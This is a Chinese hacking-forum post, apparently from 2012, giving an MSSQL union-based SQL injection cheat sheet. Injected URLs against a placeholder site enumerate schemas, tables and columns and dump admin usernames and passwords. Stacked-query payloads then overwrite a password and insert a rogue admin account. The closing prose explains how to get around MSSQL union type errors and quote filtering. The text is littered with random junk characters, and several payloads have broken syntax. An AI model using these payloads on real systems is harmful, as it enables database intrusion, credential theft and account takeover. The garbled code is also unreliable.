找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2325|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:5 I& v' d5 g2 u: [# `+ A0 F
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
# D5 D# q- I) |- Y* O+ [1 A. HSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
" \" K4 ?. S! X; f7 y4 [* S爆下一个库:
% @5 T# V% y2 v) [- j3 Rhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
, z' m/ H7 x/ i# V, g7 B# L% S
0 a2 i0 q# I4 ~# X  o/ j: O" H爆表:
9 }% |# k! J1 {' `6 d$ e5 O8 xhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
  V0 x$ s2 V( k
6 v$ A: [3 N3 A6 W, |( U" v  USELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.( O! k/ E) U9 d/ Y" r' O6 J

; t8 C( X0 _5 M5 q" x/ H" n爆下一个表+ A1 c& S  p5 B7 E) l3 ?
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--2 [2 W: P7 V+ \% G% K2 ^# e) [

8 |, _( w1 q  I, Q3 c: L% dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--1 l& P% Z& E& {9 ~

$ K9 @5 n% I9 h. d+ O' k  t8 b& K
0 E, s- w$ H0 ~: _  d
4 w' N  R# R7 T& ~# }7 G爆字段:
" G9 Q; d4 ^% E: `" D3 a2 vhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--4 ~: Z" h6 w* \$ N! t9 W& S( O

+ h* `. `7 o4 e1 |* M8 _爆下一个字段
: I* Y( V4 {  a: e9 |http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--! @0 D* @! g: g: D: H: H7 B9 _$ z( {

: W1 H7 P3 ?% U/ b) uhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
8 |  M5 e" M4 d( O) a, x: B  Y4 N! R' a
( X2 d/ A6 X  N5 n: z- R4 b
爆字段里的内容
3 ]/ |) V- [2 ^. E) }6 E: E+ hhttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
' E! O' f1 O) b! I# A, L: }& w1 y4 [2 p$ i
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
% Q( q4 g9 d0 ]) i- v6 @) c% `6 M& n8 E& B8 H0 T
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
7 v; t! S5 Y0 y4 @3 q$ N8 z) T3 S3 k5 p9 v- \7 B
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
% H! G" A. v* k* ?5 Z- a( e8 Z8 C  H% s2 x; W2 A7 P6 _6 O+ w% {
更新字段里的内容
: L0 k. t% T$ r8 ]0 |http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--* q, u) ]0 y# a0 t( R4 M
* s7 n( b! m* ^+ A: i
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--+ h  n6 Q5 v: R# |* G% g

1 E* m# p1 s/ _8 ~; z2 N) G9 [3 c# J- |2 E4 q, M# Q7 O
* ~. i7 }( N7 _; r. ]
        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。; b' K, ]3 N6 E7 W4 k
    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。- r% J1 n) U% S
    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
7 n4 B$ b6 k5 f  F/ O1 S7 _    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
  h6 E% g, ?6 E
9 f; g* i% R* M2 b突了了大部份限制的语句
5 T3 H! a# R" R5 e( c* }and 1=2 union all select char(49),char(50),null,null;--  Z0 h3 m2 u2 Q% L. i
) b1 `! y* ]/ ~* O1 w
- s* V1 e0 T: ?( a7 [
null也可以正常执行,不过没有回显,不好判断回显的列数。
! R3 p; F* |' k6 V, U" f: c. i  {一般union遇到问题都是有text或者ntext字段,image的很少遇到
; E. U6 B0 J- c' D: ?* }) M, Z3 h- ]9 H" X
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
1 }1 C/ `3 z8 t  D+ l& G& L( ^+ S1 v8 e) v+ j  f' k2 h4 P
: M  C3 u$ v, P/ y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表